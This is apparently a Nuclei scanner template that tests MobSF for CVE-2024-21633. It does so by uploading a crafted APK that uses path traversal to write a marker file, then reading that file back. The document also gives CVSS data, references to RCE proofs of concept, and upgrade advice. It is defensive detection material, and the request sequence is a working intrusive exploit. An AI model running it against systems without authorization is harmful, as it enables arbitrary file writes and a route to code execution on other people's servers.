id: CVE-2024-21633

info:
  name: MobSF - Path Traversal
  author: Will Mccardell
  severity: high
  description: |
    MobSF is vulnerable to an issue with apktool (CVE-2024-21633) that allows for RCE or arbitrary file writing. It does this through a path traversal vulnerability. This template tests for it by writing to a local file and reading that file. RCE can be achieved by overwriting jadx, as shown in the two POCs listed as references. The payload for this template exists inside the binary format of an APK, which is a zip file. This means that a hardcoded random hex string is checked for, rather than a standard dynamic random string.
  impact: |
    Successful exploitation of the RCE version of this vulnerability can lead to unauthorized access to the MobSF instance, which could leak private intellectual property or deny access to part of the application.
  remediation: |
    To remediate this vulnerability, upgrade MobSF to at least version 3.9.7. This version includes the fix for CVE-2024-21633.
  reference:
    - https://github.com/0x33c0unt/CVE-2024-21633/tree/main?tab=readme-ov-file
    - https://www.qu35t.pw/posts/2024-21633-mobsf-rce/
    - https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/19c1b55c2c59596f2d43439926c9dc976cbeaec4
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21633
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 7.8
    cve-id: CVE-2024-21633
    cwe-id: CWE-22
    epss-score: 0.72467
    epss-percentile: 0.98692
    cpe: cpe:2.3:a:apktool:apktool:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    verified: true
    vendor: mobsf_project
    product: mobile-security-framework
    fofa-query: title="MobSF"
  tags: cve,cve2024,mobsf,intrusive,rce,lfi

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /upload/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBHBsnUK0pDAzKttf
        X-CSRFToken: {{csrf_token}}

        ------WebKitFormBoundaryBHBsnUK0pDAzKttf
        Content-Disposition: form-data; name="file"; filename="poc.apk"
        Content-Type: application/vnd.android.package-archive

        {{hex_decode('[encoded data, 27870 characters]')}}
        ------WebKitFormBoundaryBHBsnUK0pDAzKttf--

      - |
        GET /static_analyzer/?name=poc.apk&checksum={{appchecksum}}&type=apk HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /download/mobsf-cve-2024-21633.txt HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf_token
        part: body
        internal: true
        group: 1
        regex:
          - '<input\stype="hidden"\sname="csrfmiddlewaretoken"\svalue="(.*?)">'

      - type: json
        name: appchecksum
        part: body
        internal: true
        json:
          - ".hash"

    matchers-condition: and
    matchers:
      - type: word
        part: body_4
        words:
          - "4acbfc74a3002cecf92e81c2a9ac75ada8acabf8f7b40706c5667efbd33be8450d67a3f2f7234f0cd3873de5fee64643d4bd5ed23a1f2c295c7ea0dabcb522ca420f2d91afcfe5b62708c9b90d51dc4ae5a81d7f2ea1befafa31920565074032a2775427dfffe63e97d46e89bcec3cd7ca81411609d98a5c4b1264db69bfe76c"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fbf2e5cae968560a4813a3648e35eddbbc22431264456732eecd9aacd4e0fdbe022100b03b7ddcf65befd73f5c539783cd029745e56593a9e298e6d0a951fca4994570:922c64590222798bb761d5b6d8e72950